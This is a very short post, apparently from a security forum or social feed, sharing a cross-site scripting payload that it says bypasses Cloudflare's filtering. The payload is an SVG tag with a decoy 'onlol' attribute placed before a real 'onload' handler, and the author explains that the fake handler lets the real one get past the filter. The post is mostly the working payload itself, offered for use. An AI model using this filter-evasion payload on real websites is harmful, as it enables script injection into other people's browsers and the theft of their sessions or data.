cloudflare bypass ?

<svg/onlol=lol onload=confirm(origin)>

looking like if you have a fake event handler before the real one it gets past it